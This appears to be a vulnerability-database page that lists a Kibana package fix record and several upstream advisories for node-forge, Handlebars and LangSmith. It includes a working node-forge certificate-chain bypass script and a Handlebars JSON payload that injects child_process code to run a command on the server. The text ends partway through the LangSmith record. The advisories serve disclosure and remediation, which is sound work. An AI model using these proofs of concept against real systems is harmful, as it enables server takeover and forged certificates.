Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package kibana version 9.3.2-r3 fixes 45 vulnerabilities: ghsa-2w6w-674q-4c4q, ghsa-xq3m-2v4x-88gg, ghsa-pf86-5x62-jrwf, ghsa-6chq-wfr3-2hj9, ghsa-v9p9-hfj2-hcw8...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kibana"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.3.2-r3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"9.3.2-r3"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kibana version 9.3.2-r3 fixes 45 vulnerabilities: ghsa-2w6w-674q-4c4q, ghsa-xq3m-2v4x-88gg, ghsa-pf86-5x62-jrwf, ghsa-6chq-wfr3-2hj9, ghsa-v9p9-hfj2-hcw8...",
"id": "CLEANSTART-2026-JY49884",
"modified": "2026-07-30T09:36:25Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elastic/kibana"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kibana 9.3.2-r3",
"upstream": [
"ghsa-2w6w-674q-4c4q",
"ghsa-xq3m-2v4x-88gg",
"ghsa-pf86-5x62-jrwf",
"ghsa-6chq-wfr3-2hj9",
"ghsa-v9p9-hfj2-hcw8",
"ghsa-f269-vfmq-vjvj",
"ghsa-vrm6-8vpv-qv8q",
"ghsa-jvwf-75h9-cwgg",
"ghsa-75px-5xx7-5xc7",
"ghsa-66ff-xgx4-vchm",
"ghsa-685m-2w69-288q",
"ghsa-5m6q-g25r-mvwx",
"ghsa-ppp5-5v6c-4jwp",
"ghsa-q67f-28xg-22rw",
"ghsa-2328-f5f3-gj25",
"ghsa-r5fr-rjxr-66jc",
"ghsa-wphj-fx3q-84ch",
"ghsa-9c88-49p5-5ggf",
"ghsa-5vv4-hvf7-2h46",
"ghsa-hvx9-hwr7-wjj9",
"ghsa-chqc-8p9q-pq6q",
"ghsa-rpmf-866q-6p89",
"ghsa-rp42-5vxx-qpwr",
"ghsa-6v7q-wjvx-w8wg",
"ghsa-56p5-8mhr-2fph",
"ghsa-4rc3-7j7w-m548",
"ghsa-wmfp-5q7x-987x",
"ghsa-q3j6-qgpj-74h6",
"ghsa-v39h-62p7-jpjc",
"ghsa-8gc5-j5rx-235r",
"ghsa-jp2q-39xq-3w4g",
"ghsa-3644-q5cj-c5c7",
"ghsa-r399-636x-v7f6",
"ghsa-j3q9-mxjg-w52f",
"ghsa-jg4p-7fhp-p32p",
"ghsa-q7rr-3cgh-j5r3",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-3v7f-55p6-f55p",
"ghsa-v2v4-37r5-5v8g",
"ghsa-48c2-rrv3-qjmp",
"ghsa-w5hq-g745-h8pq",
"ghsa-378v-28hj-76wf",
"ghsa-f886-m6hf-6m8v",
"ghsa-vvjj-xcjg-gr5g",
"ghsa-r4q5-vmmm-2653"
]
}
GHSA-2328-F5F3-GJ25
Vulnerability from github – Published: 2026-03-26 22:05 – Updated: 2026-03-27 21:51Summary
pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.
Technical Details
In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:
- The
keyUsagecheck (which includes a sub-check requiringbasicConstraintsto be present) is gated onkeyUsageExt !== null - The
basicConstraints.cAcheck is gated onbcExt !== null
When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.
RFC 5280 Section 6.1.4 step (k) requires:
"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."
The absence of basicConstraints should result in rejection, not acceptance.
Proof of Concept
const forge = require('node-forge');
const pki = forge.pki;
function generateKeyPair() {
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [
{ name: 'commonName', value: 'Legitimate Root CA' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
{ name: 'basicConstraints', cA: true, critical: true },
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
// This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf
// This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [
{ name: 'commonName', value: 'victim.example.com' },
{ name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);
try {
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
console.log(' This violates RFC 5280 Section 6.1.4.');
} catch (e) {
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}
Results:
- Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280)
- Certificate with basicConstraints.cA=false: correctly rejected
- Certificate with keyUsage (no keyCertSign): correctly rejected
- Proper intermediate CA (control): correctly accepted
Attack Scenario
An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.
This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification
CVE Precedent
This is the same vulnerability class as: - CVE-2014-0092 (GnuTLS) — certificate verification bypass - CVE-2015-1793 (OpenSSL) — alternative chain verification bypass - CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance
Not a Duplicate
This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation)
Suggested Fix
Add an explicit check for absent basicConstraints on non-leaf certificates:
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
error = {
message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
error: pki.certificateError.bad_certificate
};
}
Disclosure Timeline
- 2026-03-10: Report submitted via GitHub Security Advisory
- 2026-06-08: 90-day coordinated disclosure deadline
Credits
Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.3"
},
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33896"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:05:43Z",
"nvd_published_at": "2026-03-27T21:17:26Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require(\u0027node-forge\u0027);\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log(\u0027=== node-forge basicConstraints Bypass PoC ===\\n\u0027);\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = \u002701\u0027;\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n { name: \u0027commonName\u0027, value: \u0027Legitimate Root CA\u0027 },\n { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n { name: \u0027basicConstraints\u0027, cA: true, critical: true },\n { name: \u0027keyUsage\u0027, keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root \u2014 NO basicConstraints, NO keyUsage\n// This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = \u002702\u0027;\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n { name: \u0027commonName\u0027, value: \u0027Non-CA Leaf Certificate\u0027 },\n { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension \u2014 NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n// This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = \u002703\u0027;\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n { name: \u0027commonName\u0027, value: \u0027victim.example.com\u0027 },\n { name: \u0027organizationName\u0027, value: \u0027Victim Corp\u0027 }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n console.log(\u0027[VULNERABLE] Chain verification SUCCEEDED: \u0027 + result);\n console.log(\u0027 node-forge accepted a non-CA certificate as an intermediate CA!\u0027);\n console.log(\u0027 This violates RFC 5280 Section 6.1.4.\u0027);\n} catch (e) {\n console.log(\u0027[SECURE] Chain verification FAILED (expected): \u0027 + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable \u2014 violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge\u0027s `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) \u2014 certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) \u2014 alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) \u2014 crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization \u2014 different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow \u2014 different issue class)\n- GitHub issue #1049 (null subject/issuer \u2014 different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n error = {\n message: \u0027Certificate is missing basicConstraints extension and cannot be used as a CA.\u0027,\n error: pki.certificateError.bad_certificate\n };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) \u2014 [doruk.ch](https://doruk.ch)",
"id": "GHSA-2328-f5f3-gj25",
"modified": "2026-03-27T21:51:17Z",
"published": "2026-03-26T22:05:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33896"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)"
}
GHSA-2W6W-674Q-4C4Q
Vulnerability from github – Published: 2026-03-27 18:19 – Updated: 2026-03-27 21:52Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33937"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:19:58Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== \u0027string\u0027) {\n throw new TypeError(\u0027Template must be a string\u0027);\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
"id": "GHSA-2w6w-674q-4c4q",
"modified": "2026-03-27T21:52:17Z",
"published": "2026-03-27T18:19:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
GHSA-3644-Q5CJ-C5C7
Vulnerability from github – Published: 2026-05-13 15:29 – Updated: 2026-06-08 23:54Description
The LangSmith SDK's prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) fetch and deserialize prompt manifests from the LangSmith Hub. These manifests may contain serialized LangChain objects and model configuration that affect runtime behavior. When pulling a public prompt by owner/name identifier, the manifest content is controlled by an external party, but prior versions of the SDK did not distinguish this from pulling a prompt within the caller's own organization.
Prompt manifests can intentionally configure a model with a custom base URL, default headers, model name, or other constructor arguments. These are supported features, but they also mean the prompt contents should be treated as executable configuration rather than plain text. A prompt can also include serialized LangChain Runnable or PromptTemplate objects with attacker-controlled constructor kwargs, or secret references that, if secrets_from_env is enabled, read environment variables at deserialization time.
Applications are exposed when all of the following are true:
- The application calls
pull_promptorpull_prompt_commit(Python) orpullPromptorpullPromptCommit(JS/TS) with a publicowner/nameprompt identifier. - The prompt was published or modified by an untrusted or compromised account.
- The application uses the pulled prompt without independently validating its contents.
Applications that only pull prompts from their own organization (referenced by name only, without an owner/ prefix) are not affected by the public prompt trust boundary issue described above. However, same-organization prompts carry their own risk. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that is pulled and deserialized without any additional warning.
Impact
An attacker who publishes a malicious prompt to LangSmith Hub may be able to affect applications that pull that prompt by owner/name. If the prompt manifest reaches the SDK's deserialization path, the SDK will instantiate the referenced LangChain objects with the attacker-supplied constructor arguments rather than treating the manifest as inert data.
Realistic impacts include:
- Server-side request forgery (SSRF), outbound request redirection, and interception of LLM traffic if a prompt manifest configures an LLM client with an attacker-controlled
base_url, proxy, or equivalent endpoint-setting parameter. In typical deployments, redirected requests may include prompt contents, system prompts, retrieved context, model parameters, provider credentials, or other secrets and may disclose them to the attacker-controlled endpoint. - Prompt injection or behavior manipulation if a manifest embeds attacker-controlled system messages, prompt templates, or model parameters that alter the application's behavior.
- Additional deserialization risk when
include_model=Trueis passed, because this expands the allowlist to partner integration classes. This is not the default, but it materially increases risk when pulling prompts from outside the caller's organization.
Remediation
The LangSmith SDK now blocks pulling public prompts by owner/name by default. Callers must explicitly opt in by passing dangerously_pull_public_prompt=True (Python) or dangerouslyPullPublicPrompt: true (JS/TS) to acknowledge the trust boundary. This flag should only be set after reviewing and trusting the prompt contents, not merely the publishing account.
Upgrade to LangSmith SDK Python >= 0.8.0 or JS/TS >= 0.6.0.
Guidance for prompt pull methods
The prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) should be used only with trusted prompts. Do not pull public prompts by owner/name from untrusted or unreviewed sources without understanding that the manifest contents will be deserialized and may affect runtime behavior.
When pulling prompts that include model configuration (include_model=True in Python, includeModel: true in JS/TS), the deserialization allowlist expands to include partner integration classes. Because this mode is not the default and is often unnecessary for third-party prompts, prefer the default (false) when pulling prompts from sources outside your organization.
Avoid passing secrets_from_env=True (Python) when pulling untrusted prompts. This parameter allows prompt manifests to read environment variables during deserialization. Only use it with trusted prompts from your own organization.
Same-organization prompts
Prompts pulled from the caller's own organization (referenced by name only, without an owner/ prefix) are not gated by the new dangerously_pull_public_prompt flag, but they are not inherently safe. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that redirects LLM traffic to attacker-controlled infrastructure and may disclose any credentials attached to those requests.
The security of same-organization prompts follows a shared responsibility model. The LangSmith SDK enforces trust boundaries for public prompts pulled from external accounts, but it cannot protect against compromised credentials or accounts within the caller's own organization. Securing API keys, managing team member access, and reviewing prompt contents before production deployment are the responsibility of the organization. Organizations should treat prompts as executable configuration and apply the same review and audit practices they would apply to application code.
Credits
First reported by @Moaaz-0x.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langsmith"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "langsmith"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "langchain-classic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "langchain"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.30"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45134"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:29:30Z",
"nvd_published_at": "2026-05-27T20:16:38Z",
"severity": "HIGH"
},
"details": "## Description\n\nThe LangSmith SDK\u0027s prompt pull methods (`pull_prompt` / `pull_prompt_commit` in Python, `pullPrompt` / `pullPromptCommit` in JS/TS) fetch and deserialize prompt manifests from the LangSmith Hub. These manifests may contain serialized LangChain objects and model configuration that affect runtime behavior. When pulling a public prompt by `owner/name` identifier, the manifest content is controlled by an external party, but prior versions of the SDK did not distinguish this from pulling a prompt within the caller\u0027s own organization.\n\nPrompt manifests can intentionally configure a model with a custom base URL, default headers, model name, or other constructor arguments. These are supported features, but they also mean the prompt contents should be treated as executable configuration rather than plain text. A prompt can also include serialized LangChain `Runnable` or `PromptTemplate` objects with attacker-controlled constructor kwargs, or secret references that, if `secrets_from_env` is enabled, read environment variables at deserialization time.\nApplications are exposed when all of the following are true:\n\n- The application calls `pull_prompt` or `pull_prompt_commit` (Python) or `pullPrompt` or `pullPromptCommit` (JS/TS) with a public `owner/name` prompt identifier.\n- The prompt was published or modified by an untrusted or compromised account.\n- The application uses the pulled prompt without independently validating its contents.\n\nApplications that only pull prompts from their own organization (referenced by name only, without an `owner/` prefix) are not affected by the public prompt trust boundary issue described above. However, same-organization prompts carry their own risk. If an attacker gains write access to the organization (for example, through a leaked `LANGSMITH_API_KEY` or a compromised team member account), they can push a malicious prompt that is pulled and deserialized without any additional warning.\n\n## Impact\n\nAn attacker who publishes a malicious prompt to LangSmith Hub may be able to affect applications that pull that prompt by `owner/name`. If the prompt manifest reaches the SDK\u0027s deserialization path, the SDK will instantiate the referenced LangChain objects with the attacker-supplied constructor arguments rather than treating the manifest as inert data.\n\nRealistic impacts include:\n\n- Server-side request forgery (SSRF), outbound request redirection, and interception of LLM traffic if a prompt manifest configures an LLM client with an attacker-controlled `base_url`, proxy, or equivalent endpoint-setting parameter. In typical deployments, redirected requests may include prompt contents, system prompts, retrieved context, model parameters, provider credentials, or other secrets and may disclose them to the attacker-controlled endpoint.\n- Prompt injection or behavior manipulation if a manifest embeds attacker-controlled system messages, prompt templates, or model parameters that alter the application\u0027s behavior.\n- Additional deserialization risk when `include_model=True` is passed, because this expands the allowlist to partner integration classes. This is not the default, but it materially increases risk when pulling prompts from outside the caller\u0027s organization.\n\n## Remediation\n\nThe LangSmith SDK now blocks pulling public prompts by `owner/name` by default. Callers must explicitly opt in by passing `dangerously_pull_public_prompt=True` (Python) or `dangerouslyPullPublicPrompt: true` (JS/TS) to acknowledge the trust boundary. This flag should only be set after reviewing and trusting the prompt contents, not merely the publishing account.\n\nUpgrade to LangSmith SDK **Python \u003e= 0.8.0** or **JS/TS \u003e= 0.6.0**.\n\n### Guidance for prompt pull methods\n\nThe prompt pull methods (`pull_prompt` / `pull_prompt_commit` in Python, `pullPrompt` / `pullPromptCommit` in JS/TS) should be used only with trusted prompts. Do not pull public prompts by `owner/name` from untrusted or unreviewed sources without understanding that the manifest contents will be deserialized and may affect runtime behavior.\n\nWhen pulling prompts that include model configuration (`include_model=True` in Python, `includeModel: true` in JS/TS), the deserialization allowlist expands to include partner integration classes. Because this mode is not the default and is often 